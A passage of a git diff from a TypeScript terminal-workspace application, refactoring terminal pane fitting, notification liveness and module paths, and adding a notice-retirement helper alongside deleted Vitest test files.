-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      rafQueue.push(callback)
-      return rafQueue.length
-    })
-    vi.stubGlobal('cancelAnimationFrame', vi.fn())
-  })
-
-  afterEach(() => {
-    cleanup()
-    hydrateOverrides([])
-    vi.unstubAllGlobals()
-    vi.useRealTimers()
-  })
-
-  function mountForPane(pane: TestPane) {
-    let currentPanes = [pane]
-    const managerRef: { current: PaneManager | null } = {
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the hook only reads getPanes; safeFit reads the fixture's pane members.
-      current: {
-        getPanes: () => currentPanes.map((current) => ({ ...current }))
-      } as unknown as PaneManager
-    }
-    const paneTransportsRef: { current: ReadonlyMap<number, Pick<PtyTransport, 'getPtyId'>> } = {
-      current: new Map([[1, { getPtyId: () => 'pty-1' }]])
-    }
-    const view = render(<HookHost managerRef={managerRef} paneTransportsRef={paneTransportsRef} />)
-    return {
-      managerRef,
-      paneTransportsRef,
-      unmount: view.unmount,
-      setPanes: (panes: TestPane[]) => {
-        currentPanes = panes
-      }
-    }
-  }
-
-  it('fits the latest phone dimensions when an older mobile frame survives an ownership cycle', () => {
-    const pane = createPane()
-    pane.terminal.cols = 120
-    pane.terminal.rows = 40
-    mountForPane(pane)
-    act(() => {
-      setFitOverride('pty-1', 'mobile-fit', 49, 20)
-      setFitOverride('pty-1', 'desktop-fit', 120, 40)
-      setFitOverride('pty-1', 'mobile-fit', 60, 24)
-    })
-    flushAnimationFrames()
-    act(() => vi.advanceTimersByTime(100))
-    expect(pane.terminal.cols).toBe(60)
-    expect(pane.terminal.rows).toBe(24)
-    expect(pane.terminal.resize).not.toHaveBeenCalledWith(49, 20)
-    expect(pane.terminal.refresh).not.toHaveBeenCalled()
-  })
-
-  it('does not fit a retired manager after its transport and pane teardown', () => {
-    const pane = createPane()
-    pane.terminal.cols = 120
-    pane.terminal.rows = 40
-    const binding = mountForPane(pane)
-    act(() => setFitOverride('pty-1', 'mobile-fit', 49, 20))
-    binding.paneTransportsRef.current = new Map()
-    binding.setPanes([])
-    binding.managerRef.current = null
-    flushAnimationFrames()
-    expect(pane.terminal.cols).toBe(120)
-    expect(pane.terminal.rows).toBe(40)
-    expect(pane.terminal.resize).not.toHaveBeenCalled()
-  })
-
-  it('abandons the desktop restore when a new phone hold arrives before the frame', () => {
-    const pane = createPane()
-    mountForPane(pane)
-    act(() => {
-      setFitOverride('pty-1', 'mobile-fit', 49, 20)
-      setFitOverride('pty-1', 'desktop-fit', 120, 40)
-      setFitOverride('pty-1', 'mobile-fit', 49, 20)
-    })
-    flushAnimationFrames()
-    act(() => vi.advanceTimersByTime(100))
-    expect(pane.terminal.cols).toBe(49)
-    expect(pane.terminal.rows).toBe(20)
-    expect(pane.terminal.refresh).not.toHaveBeenCalled()
-    expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-  })
-
-  it('drops both queued restore paths when the manager is replaced', () => {
-    const pane = createPane()
-    const { managerRef } = mountForPane(pane)
-    act(() => setFitOverride('pty-1', 'desktop-fit', 120, 40))
-    managerRef.current = null
-    flushAnimationFrames()
-    act(() => vi.advanceTimersByTime(100))
-    expect(pane.terminal.cols).toBe(49)
-    expect(pane.terminal.refresh).not.toHaveBeenCalled()
-    expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-  })
-
-  it('uses only the latest restore dimensions after a complete phone ownership cycle', () => {
-    const pane = createPane()
-    pane.fitAddon.proposeDimensions.mockReturnValue(null)
-    pane.fitAddon.fit.mockImplementation(() => {})
-    mountForPane(pane)
-    act(() => {
-      setFitOverride('pty-1', 'mobile-fit', 49, 20)
-      setFitOverride('pty-1', 'desktop-fit', 120, 40)
-      setFitOverride('pty-1', 'mobile-fit', 49, 20)
-      setFitOverride('pty-1', 'desktop-fit', 140, 50)
-    })
-    flushAnimationFrames()
-    act(() => vi.advanceTimersByTime(100))
-    expect(pane.terminal.cols).toBe(140)
-    expect(pane.terminal.rows).toBe(50)
-    expect(pane.terminal.resize).not.toHaveBeenCalledWith(120, 40)
-  })
-
-  it.each(['unmount', 'rebind', 'retirement', 'manager replacement', 'new phone hold'] as const)(
-    'drops replay-deferred restore after %s',
-    async (transition) => {
-      const pane = createPane()
-      const binding = mountForPane(pane)
-      beginTerminalScrollIntentBufferRebuild(pane.terminal)
-      act(() => setFitOverride('pty-1', 'desktop-fit', 120, 40))
-      flushAnimationFrames()
-      act(() => vi.advanceTimersByTime(100))
-      if (transition === 'unmount') {
-        binding.unmount()
-      } else if (transition === 'retirement') {
-        binding.setPanes([])
-      } else if (transition === 'manager replacement') {
-        binding.managerRef.current = null
-      } else if (transition === 'rebind') {
-        binding.paneTransportsRef.current = new Map([[1, { getPtyId: () => 'pty-2' }]])
-      } else {
-        act(() => setFitOverride('pty-1', 'mobile-fit', 49, 20))
-      }
-      endTerminalScrollIntentBufferRebuild(pane.terminal)
-      await act(async () => {
-        await Promise.resolve()
-      })
-      expect(pane.terminal.cols).toBe(49)
-      expect(pane.terminal.refresh).not.toHaveBeenCalled()
-      expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-    }
-  )
-
-  it('does not restore a replacement terminal that reused a pane id during replay', async () => {
-    const pane = createPane()
-    const replacement = createPane()
-    const binding = mountForPane(pane)
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-    act(() => setFitOverride('pty-1', 'desktop-fit', 120, 40))
-    flushAnimationFrames()
-    act(() => vi.advanceTimersByTime(100))
-    binding.setPanes([replacement])
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await act(async () => {
-      await Promise.resolve()
-    })
-    expect(pane.terminal.cols).toBe(49)
-    expect(pane.terminal.refresh).not.toHaveBeenCalled()
-    expect(replacement.terminal.cols).toBe(49)
-    expect(replacement.terminal.refresh).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks.ts b/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks.ts
index c63bd9edece..27b39ae4a2e 100644
--- a/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks.ts
+++ b/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks.ts
@@ -1,9 +1,12 @@
 import { useCallback, useEffect, useState } from 'react'
 import { onDriverChange } from '@/lib/pane-manager/mobile-driver-state'
-import { getFitOverrideForPty, onOverrideChange } from '@/lib/pane-manager/mobile-fit-overrides'
+import {
+  getFitOverrideForPty,
+  onOverrideChange
+} from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
 import {
   applyDesktopFitFallbackAfterReplay,
   fitAndRefreshDesktopPane
diff --git a/src/renderer/src/components/terminal-pane/mounting/TerminalPaneOverlayLayer.tsx b/src/renderer/src/components/terminal-pane/mounting/TerminalPaneOverlayLayer.tsx
index 3a551672315..39b58931847 100644
--- a/src/renderer/src/components/terminal-pane/mounting/TerminalPaneOverlayLayer.tsx
+++ b/src/renderer/src/components/terminal-pane/mounting/TerminalPaneOverlayLayer.tsx
@@ -3,7 +3,7 @@ import { useShallow } from 'zustand/react/shallow'
 import type { Tab, TabGroup } from '../../../../../shared/tab-types'
 import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import { useAppStore } from '../../../store/index'
-import { useThemeBackgroundStore } from '@/store/appearance/theme-background'
+import { useWindowBackdropActive } from '@/app-shell/appearance/window-backdrop'
 import {
   findActivityTerminalPortal,
   type ActivityTerminalPortalTarget
@@ -76,7 +76,7 @@ const TerminalPaneOverlayLayer = memo(function TerminalPaneOverlayLayer({
     [worktreeId]
   )
 
-  const themeBackgroundActive = useThemeBackgroundStore((state) => state.active)
+  const backdropActive = useWindowBackdropActive()
   const focusOwningGroup = useCallback(
     (groupId: string) => focusGroup(worktreeId, groupId),
     [focusGroup, worktreeId]
@@ -173,8 +173,8 @@ const TerminalPaneOverlayLayer = memo(function TerminalPaneOverlayLayer({
             isVisible={isVisible}
             isActive={isActive}
             hiddenPrewarm={assignment?.isActiveInGroup === true ? hiddenTerminalPrewarm : null}
-            // Why not over a theme image: a chat there is translucent, so a dim would bleed the image in.
-            dimmed={groups.length > 1 && isVisible && !isActive && !themeBackgroundActive}
+            // Why not over a backdrop: group dimming also fades terminal and chat text.
+            dimmed={groups.length > 1 && isVisible && !isActive && !backdropActive}
             activityTerminalPortal={activityTerminalPortal}
             onFocusOwningGroup={focusOwningGroup}
             consumeSuppressedPtyExit={consumeSuppressedPtyExit}
diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-closed-handler.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-closed-handler.ts
index 36803b29faf..8ba4505dbe3 100644
--- a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-closed-handler.ts
+++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-closed-handler.ts
@@ -1,3 +1,4 @@
+import { captureTerminalPaneNoticeRetirement } from './terminal-pane-notice-retirement'
 import { useAppStore } from '@/store/index'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { scheduleRuntimeGraphSync } from '@/runtime/sync-runtime-graph/graph-sync-scheduler'
@@ -118,6 +119,16 @@ export function createTerminalPaneClosedHandler(
       if (isDetachedToTab) {
         transport.detach?.({ preserveExitObserver: false })
       } else {
+        const retireNotice = leafId
+          ? captureTerminalPaneNoticeRetirement({
+              tabId,
+              worktreeId,
+              leafId,
+              ptyId: closedPtyId,
+              transport,
+              getTransports: () => paneTransportsRef.current
+            })
+          : undefined
         const ptyId = suppressIntentionalPaneCloseExit(
           transport,
           useAppStore.getState().suppressPtyExit
@@ -133,6 +144,7 @@ export function createTerminalPaneClosedHandler(
           clearTabPtyId(tabId, ptyId)
         }
         transport.destroy?.()
+        retireNotice?.()
       }
       paneTransportsRef.current.delete(paneId)
     }
diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts
index 77954e71030..57f2af3be15 100644
--- a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts
+++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-manager-options.ts
@@ -6,7 +6,7 @@ import { resolveTerminalLigaturesEnabled } from '../../../../../shared/terminal/
 import { resolveTerminalFontWeights } from '../../../../../shared/terminal/appearance/terminal-fonts'
 import { normalizeTerminalLineHeight } from '../../../../../shared/terminal/appearance/terminal-line-height-settings'
 import { normalizeDesktopTerminalScrollbackRows } from '../../../../../shared/terminal/replay/terminal-scrollback-policy'
-import { normalizeTerminalTuiMouseWheelMultiplier } from '@/lib/pane-manager/pane-terminal-tui-wheel-reports'
+import { normalizeTerminalTuiMouseWheelMultiplier } from '@/lib/pane-manager/terminal-input/pane-terminal-tui-wheel-reports'
 import {
   normalizeTerminalFastScrollSensitivity,
   normalizeTerminalScrollSensitivity,
@@ -15,8 +15,8 @@ import {
 } from '@/lib/pane-manager/pane-terminal-options'
 import { buildFontFamily } from '../../../../../shared/monospace-font-family'
 import { pluginFontFamilyWhenLoaded } from '@/store/plugins/appearance/plugin-fonts'
-import { buildWindowsPtyCompatibilityOptions } from '@/lib/pane-manager/windows-pty-compatibility'
-import { buildTerminalKeyboardProtocolOptions } from '@/lib/pane-manager/terminal-keyboard-protocol'
+import { buildWindowsPtyCompatibilityOptions } from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
+import { buildTerminalKeyboardProtocolOptions } from '@/lib/pane-manager/terminal-protocol/terminal-keyboard-protocol'
 import { resolvePaneKeyboardProtocolAgent } from '../input/keyboard/terminal-keyboard-protocol-pane-agent'
 import { UNRESOLVED_OWNER_HOST_ID } from '../../../../../shared/execution-host'
 import { scheduleRuntimeGraphSync } from '@/runtime/sync-runtime-graph/graph-sync-scheduler'
diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-mount-cleanup.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-mount-cleanup.ts
index d239d53b463..82e9b2a3725 100644
--- a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-mount-cleanup.ts
+++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-mount-cleanup.ts
@@ -1,3 +1,4 @@
+import { getTerminalNoticeLifetime } from '../provider-notices/terminal-notice-lifetime'
 import { captureNotificationTransportOwner } from '@/attention/notification-subject-owner'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import type { TerminalPaneLifecycleRefs } from './use-terminal-pane-lifecycle-refs'
@@ -78,7 +79,10 @@ export function cleanupTerminalPaneMount(args: {
       const binding = panePtyBindingsRef.current.get(pane.id) as
         | { isUntouchedFreshSpawnPty?: (candidate: string) => boolean }
         | undefined
+      const noticePtyId =
+        ptyId ?? currentStore.terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId?.[pane.leafId]
       return {
+        noticeLifetime: noticePtyId ? getTerminalNoticeLifetime(noticePtyId) : undefined,
         ptyId,
         workspaceOwner: captureNotificationTransportOwner(paneTransportsRef.current.get(pane.id)),
         paneId: pane.id,
diff --git a/src/renderer/src/components/terminal-pane/mounting/terminal-pane-notice-retirement.ts b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-notice-retirement.ts
new file mode 100644
index 00000000000..2deb0ecb369
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/mounting/terminal-pane-notice-retirement.ts
@@ -0,0 +1,52 @@
+import { useAppStore } from '@/store/index'
+import { getTerminalPtyOwnershipIdentity } from '@/store/terminals/terminal-tab-retirement'
+import {
+  getTerminalNoticeLifetime,
+  retireTerminalNoticeLifetime,
+  type TerminalNoticeLifetime
+} from '../provider-notices/terminal-notice-lifetime'
+import type { PtyTransport } from '../pty-transport/pty-transport-types'
+import { terminalPaneHasOtherOwner } from './terminal-pane-retirement-ownership'
+
+/** Capture before a final close can erase the binding or await main's frame. */
+export function captureTerminalPaneNoticeRetirement(args: {
+  tabId: string
+  leafId: string
+  worktreeId: string | null
+  ptyId?: string | null
+  lifetime?: TerminalNoticeLifetime
+  transport?: PtyTransport
+  getTransports?: () => ReadonlyMap<number, PtyTransport>
+}): () => void {
+  const lifetime = args.lifetime ?? (args.ptyId ? getTerminalNoticeLifetime(args.ptyId) : undefined)
+  if (!lifetime || lifetime.retired) {
+    return () => {}
+  }
+  const identity = getTerminalPtyOwnershipIdentity(
+    useAppStore.getState(),
+    lifetime.ptyId,
+    args.worktreeId
+  )
+  return () => {
+    if (lifetime.retired) {
+      return
+    }
+    const siblings = new Map(
+      [...(args.getTransports?.() ?? [])].filter(([, transport]) => transport !== args.transport)
+    )
+    if (
+      !terminalPaneHasOtherOwner(
+        {
+          getState: useAppStore.getState,
+          tabId: args.tabId,
+          getTransports: () => siblings
+        },
+        identity,
+        args.worktreeId,
+        args.leafId
+      )
+    ) {
+      retireTerminalNoticeLifetime(lifetime)
+    }
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/mounting/use-terminal-pane-mount-lifecycle.ts b/src/renderer/src/components/terminal-pane/mounting/use-terminal-pane-mount-lifecycle.ts
index c20143ef01e..cdfa6e8904f 100644
--- a/src/renderer/src/components/terminal-pane/mounting/use-terminal-pane-mount-lifecycle.ts
+++ b/src/renderer/src/components/terminal-pane/mounting/use-terminal-pane-mount-lifecycle.ts
@@ -1,6 +1,6 @@
 import { useEffect } from 'react'
 import { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { configureTerminalOutputBacklogCap } from '@/lib/pane-manager/pane-terminal-output-queue-registry'
+import { configureTerminalOutputBacklogCap } from '@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'
 import { scheduleRuntimeGraphSync } from '@/runtime/sync-runtime-graph/graph-sync-scheduler'
 import { e2eConfig } from '@/app-shell/startup/e2e-config'
 import { isTerminalTabParked } from '../parking/output-watchers/terminal-parked-watcher-registry'
diff --git a/src/renderer/src/components/terminal-pane/notifications/agent-finish-drop-breadcrumb.test.ts b/src/renderer/src/components/terminal-pane/notifications/agent-finish-drop-breadcrumb.test.ts
deleted file mode 100644
index 54592b91c49..00000000000
--- a/src/renderer/src/components/terminal-pane/notifications/agent-finish-drop-breadcrumb.test.ts
+++ /dev/null
@@ -1,41 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-vi.mock('../../../store/index', async () =>
-  (await import('./notification-dispatch-test-harness')).createNotificationDispatchStoreModuleMock()
-)
-
-import {
-  makeAgentStatus,
-  PANE_KEY,
-  resetNotificationDispatchMockState
-} from './notification-dispatch-test-harness'
-import { dispatchTerminalNotification } from './dispatch-terminal-notification'
-
-describe('a dropped agent finish (#40340)', () => {
-  const recordBreadcrumb = vi.fn()
-
-  beforeEach(() => {
-    const state = resetNotificationDispatchMockState()
-    state.agentStatusByPaneKey[PANE_KEY] = makeAgentStatus(PANE_KEY, { state: 'working' })
-    vi.stubGlobal('window', {
-      api: {
-        notifications: { dispatch: vi.fn().mockResolvedValue({ delivered: true }) },
-        crashReports: { recordBreadcrumb }
-      }
-    })
-  })
-
-  it('leaves a breadcrumb naming why it marked nothing unread', () => {
-    const dispatched = dispatchTerminalNotification('wt-1', {
-      source: 'agent-task-complete',
-      paneKey: PANE_KEY,
-      terminalTitle: 'codex'
-    })
-
-    expect(dispatched).toBe(false)
-    expect(recordBreadcrumb).toHaveBeenCalledWith({
-      name: 'agent_finish_dropped',
-      data: { cause: 'fresh-active-hook-status', workspaceId: 'wt-1', paneKey: PANE_KEY }
-    })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/notifications/notification-dispatch-test-harness.ts b/src/renderer/src/components/terminal-pane/notifications/notification-dispatch-test-harness.ts
deleted file mode 100644
index e3e2a4f4945..00000000000
--- a/src/renderer/src/components/terminal-pane/notifications/notification-dispatch-test-harness.ts
+++ /dev/null
@@ -1,178 +0,0 @@
-import { vi, type Mock } from 'vitest'
-
-import type {
-  AgentStatusEntry,
-  AgentStatusOrchestrationContext
-} from '../../../../../shared/agent-status/contracts/agent-status-types'
-import type { TerminalLayoutSnapshot } from '../../../../../shared/workspace-layout/terminal-tab-types'
-import type { Tab, TabGroup } from '../../../../../shared/tab-types'
-
-// Hoisted mock factories reach this state through lazy imports because they cannot capture imports.
-
-export const LIVE_LEAF_ID = '11111111-1111-4111-8111-111111111111'
-export const STALE_LEAF_ID = '22222222-2222-4222-8222-222222222222'
-export const PANE_KEY = `tab-1:${LIVE_LEAF_ID}`
-export const STALE_PANE_KEY = `tab-1:${STALE_LEAF_ID}`
-
-export type NotificationDispatchMockState = {
-  activeView: string
-  activeWorktreeId: string | null
-  activeTabId: string | null
-  activeTabIdByWorktree: Record<string, string | null>
-  activeGroupIdByWorktree: Record<string, string | null>
-  floatingWorkspacePanelOpen: boolean
-  getActiveTab: (worktreeId: string) => Tab | null
-  groupsByWorktree: Record<string, TabGroup[]>
-  unifiedTabsByWorktree: Record<string, Tab[]>
-  tabsByWorktree: Record<string, { id: string; ptyId?: string | null }[]>
-  ptyIdsByTabId: Record<string, string[]>
-  suppressedPtyExitIds: Record<string, boolean>
-  terminalLayoutsByTabId: Record<string, TerminalLayoutSnapshot>
-  browserTabsByWorktree: Record<string, unknown[]>
-  retainedAgentsByPaneKey: Record<string, { worktreeId: string }>
-  agentLaunchConfigByPaneKey: Record<
-    string,
-    { launchConfig?: { agentArgs: string }; identity: { agentType?: string } }
-  >
-  agentStatusByPaneKey: Record<string, AgentStatusEntry>
-  runtimeAgentOrchestrationByPaneKey: Record<string, AgentStatusOrchestrationContext>
-  worktreesByRepo: Record<
-    string,
-    {
-      id: string
-      repoId: string
-      displayName?: string
-      branch?: string
-      workspaceStatus?: string
-    }[]
-  >
-  repos: { id: string; displayName?: string; connectionId?: string | null }[]
-  settings: {
-    experimentalTerminalAttention?: boolean
-    notifications?: {
-      enabled?: boolean
-      agentTaskComplete?: boolean
-      customSoundPath?: string | null
-      customSoundId?: string | null
-      notifyHiddenWorkspaces?: boolean
-    }
-  }
-  markAgentAttentionUnread: ReturnType<typeof vi.fn>
-}
-
-/** Annotated explicitly so declaration emit never names @vitest/spy internals. */
-export const playDesktopNotificationSound: Mock<(...args: never[]) => unknown> = vi.fn()
-
-let mockState: NotificationDispatchMockState = buildNotificationDispatchMockState()
-
-export function getNotificationDispatchMockState(): NotificationDispatchMockState {
-  return mockState
-}
-
-function buildNotificationDispatchMockState(): NotificationDispatchMockState {
-  return {
-    activeView: 'terminal',
-    activeWorktreeId: 'wt-secondary',
-    activeTabId: 'tab-1',
-    activeTabIdByWorktree: {},
-    activeGroupIdByWorktree: {},
-    floatingWorkspacePanelOpen: false,
-    getActiveTab: (worktreeId) => {
-      const groupId = mockState.activeGroupIdByWorktree[worktreeId]
-      const group = (mockState.groupsByWorktree[worktreeId] ?? []).find(
-        (candidate) => candidate.id === groupId
-      )
-      return (
-        (mockState.unifiedTabsByWorktree[worktreeId] ?? []).find(
-          (tab) => tab.id === group?.activeTabId
-        ) ?? null
-      )
-    },
-    groupsByWorktree: {},
-    unifiedTabsByWorktree: {},
-    tabsByWorktree: { 'wt-primary': [{ id: 'tab-1', ptyId: 'pty-1' }] },
-    ptyIdsByTabId: { 'tab-1': ['pty-1'] },
-    suppressedPtyExitIds: {},
-    terminalLayoutsByTabId: {
-      'tab-1': {
-        root: { type: 'leaf', leafId: LIVE_LEAF_ID },
-        activeLeafId: LIVE_LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LIVE_LEAF_ID]: 'pty-1' }
-      }
-    },
-    browserTabsByWorktree: {},
-    retainedAgentsByPaneKey: {},
-    agentLaunchConfigByPaneKey: {},
-    agentStatusByPaneKey: { [PANE_KEY]: makeAgentStatus(PANE_KEY) },
-    runtimeAgentOrchestrationByPaneKey: {},
-    worktreesByRepo: {
-      repo1: [
-        { id: 'wt-primary', repoId: 'repo1', displayName: 'master', branch: 'master' },
-        {
-          id: 'wt-secondary',
-          repoId: 'repo1',
-          displayName: 'e2e-secondary',
-          branch: 'e2e-secondary'
-        }
-      ]
-    },
-    repos: [{ id: 'repo1', displayName: 'orca', connectionId: null }],
-    settings: { experimentalTerminalAttention: true, notifications: { customSoundPath: null } },
-    markAgentAttentionUnread: vi.fn()
-  }
-}
-
-export function resetNotificationDispatchMockState(): NotificationDispatchMockState {
-  vi.clearAllMocks()
-  mockState = buildNotificationDispatchMockState()
-  vi.stubGlobal('window', {
-    api: { notifications: { dispatch: vi.fn().mockResolvedValue({ delivered: true }) } }
-  })
-  return mockState
-}
-
-export function makeAgentStatus(
-  paneKey: string,
-  overrides: Partial<AgentStatusEntry> = {}
-): AgentStatusEntry {
-  const now = Date.now()
-  return {
-    state: 'done',
-    prompt: 'codex-hook-notify',
-    updatedAt: now,
-    stateStartedAt: now,
-    agentType: 'codex',
-    paneKey,
-    terminalTitle: 'codex',
-    stateHistory: [],
-    lastAssistantMessage: 'Done.',
-    ...overrides
-  }
-}
-
-export function stubDocumentFocus({
-  visibilityState,
-  focused
-}: {
-  visibilityState: DocumentVisibilityState
-  focused: boolean
-}): void {
-  vi.stubGlobal('document', { visibilityState, hasFocus: vi.fn(() => focused) })
-}
-
-export function getLastNotificationDispatchArg(): Record<string, unknown> | undefined {
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the window stub above installs a vi.fn() at this exact path.
-  const dispatch = window.api.notifications.dispatch as unknown as ReturnType<typeof vi.fn>
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: dispatch is only ever called with one NotificationDispatchRequest object.
-  return dispatch.mock.calls.at(-1)?.[0] as Record<string, unknown> | undefined
-}
-
-/** Shared `vi.mock` factories; hoisted factories must import this module lazily. */
-export function createNotificationDispatchStoreModuleMock(): Record<string, unknown> {
-  return { useAppStore: { getState: () => getNotificationDispatchMockState() } }
-}
-
-export function createDesktopNotificationSoundModuleMock(): Record<string, unknown> {
-  return { playDesktopNotificationSound }
-}
diff --git a/src/renderer/src/components/terminal-pane/notifications/terminal-notification-liveness.ts b/src/renderer/src/components/terminal-pane/notifications/terminal-notification-liveness.ts
index de3b0331d12..8a51218acf7 100644
--- a/src/renderer/src/components/terminal-pane/notifications/terminal-notification-liveness.ts
+++ b/src/renderer/src/components/terminal-pane/notifications/terminal-notification-liveness.ts
@@ -4,8 +4,13 @@ import '@/store/index'
 
 import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import type { TerminalPaneLayoutNode } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import {
+  getFirstTerminalTab,
+  terminalTabHasOwnerOutside
+} from '@/store/terminals/terminal-tab-owner-index'
 
 type StoreSnapshot = ReturnType<typeof useAppStore.getState>
+const emptyTerminalTabs: StoreSnapshot['tabsByWorktree'] = {}
 
 export function getPaneKeyTabId(paneKey: string): string | null {
   const parsed = parsePaneKey(paneKey)
@@ -74,11 +79,9 @@ export function isCurrentLivePaneKey(
     return false
   }
 
-  const tabExistsInAnotherWorktree = Object.entries(state.tabsByWorktree).some(
-    ([candidateWorktreeId, tabs]) =>
-      candidateWorktreeId !== worktreeId && tabs.some((tab) => tab.id === parsed.tabId)
-  )
-  if (tabExistsInAnotherWorktree) {
+  if (
+    terminalTabHasOwnerOutside(state.tabsByWorktree ?? emptyTerminalTabs, parsed.tabId, worktreeId)
+  ) {
     return false
   }
 
@@ -113,17 +116,11 @@ export function isCurrentKnownPaneKey(
     return false
   }
 
-  let targetTabPtyId: string | null | undefined
-  for (const [candidateWorktreeId, tabs] of Object.entries(state.tabsByWorktree)) {
-    const tab = tabs.find((candidate) => candidate.id === parsed.tabId)
-    if (!tab) {
-      continue
-    }
-    if (candidateWorktreeId !== worktreeId) {
-      return false
-    }
-    targetTabPtyId = tab.ptyId
+  const tabsByWorktree = state.tabsByWorktree ?? emptyTerminalTabs
+  if (terminalTabHasOwnerOutside(tabsByWorktree, parsed.tabId, worktreeId)) {
+    return false
   }
+  const targetTabPtyId = getFirstTerminalTab(tabsByWorktree, parsed.tabId)?.ptyId
   if (targetTabPtyId === undefined) {
     return false
   }
diff --git a/src/renderer/src/components/terminal-pane/notifications/unread-agent-session-membership.ts b/src/renderer/src/components/terminal-pane/notifications/unread-agent-session-membership.ts
new file mode 100644
index 00000000000..c5898f11592
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/notifications/unread-agent-session-membership.ts
@@ -0,0 +1,56 @@
+import { readTabMapChanges } from '@/store/keyed-record-change-reads'
+
+type MembershipTab = { id: string; contentType?: string }
+type TabBuckets = Readonly<Record<string, readonly MembershipTab[] | undefined>>
+type IndexedBucket = { source: readonly MembershipTab[]; ids: ReadonlySet<string> }
+
+const emptyBuckets: TabBuckets = {}
+let source: TabBuckets = emptyBuckets
+const buckets = new Map<string, IndexedBucket>()
+const membershipCounts = new Map<string, number>()
+
+export function hasUnreadAgentSessionTab(
+  tabsByWorktree: TabBuckets | undefined,
+  tabId: string
+): boolean {
+  const next = tabsByWorktree ?? emptyBuckets
+  if (source !== next) {
+    const changes = readTabMapChanges(next, source)
+    // Unknown provenance includes ordinary writes; unchanged bucket identities still bound the work.
+    const workspaceIds =
+      changes?.kind === 'addressed'
+        ? changes.workspaceIds
+        : new Set([...buckets.keys(), ...Object.keys(next)])
+    for (const workspaceId of workspaceIds) {
+      const tabs = Object.hasOwn(next, workspaceId) ? next[workspaceId] : undefined
+      const previous = buckets.get(workspaceId)
+      if (previous?.source === tabs) {
+        continue
+      }
+      for (const id of previous?.ids ?? []) {
+        const count = membershipCounts.get(id) ?? 0
+        if (count > 1) {
+          membershipCounts.set(id, count - 1)
+        } else {
+          membershipCounts.delete(id)
+        }
+      }
+      if (!tabs) {
+        buckets.delete(workspaceId)
+        continue
+      }
+      const ids = new Set<string>()
+      for (const tab of tabs) {
+        if (tab.contentType === 'agent-session') {
+          ids.add(tab.id)
+        }
+      }
+      for (const id of ids) {
+        membershipCounts.set(id, (membershipCounts.get(id) ?? 0) + 1)
+      }
+      buckets.set(workspaceId, { source: tabs, ids })
+    }
+    source = next
+  }
+  return membershipCounts.has(tabId)
+}
diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts
deleted file mode 100644
index a15316d6c54..00000000000
--- a/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-byte-watcher.test.ts
+++ /dev/null
@@ -1,516 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { TerminalSideEffectFact } from '../../../../../../shared/terminal/output/terminal-side-effect-facts'
-import type { ParkedTerminalByteWatcherOptions } from './parked-terminal-byte-watcher'
-import type * as ParkedTerminalCommandStatus from './parked-terminal-command-status'
-
-const PTY_ID = 'pty-parked-1'
-const TAB_ID = 'tab-1'
-const WORKTREE_ID = 'repo-1::/tmp/wt-1'
-const LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const PANE_KEY = `${TAB_ID}:${LEAF_ID}`
-const PANE_ID = 1
-// Mirrors PARKED_NOTIFICATION_GRACE_MS / AGENT_TASK_COMPLETE_NOTIFICATION_GRACE_MS.
-const NOTIFICATION_GRACE_MS = 250
-
-// Real titles classify braille spinners as working and Claude’s ✳ prefix as idle.
-const WORKING_TITLE_OSC = '\x1b]0;⠋ Build feature\x07'
-const IDLE_TITLE = '✳ Build feature'
-const IDLE_TITLE_OSC = `\x1b]0;${IDLE_TITLE}\x07`
-
-type MockStoreState = {
-  settings: {
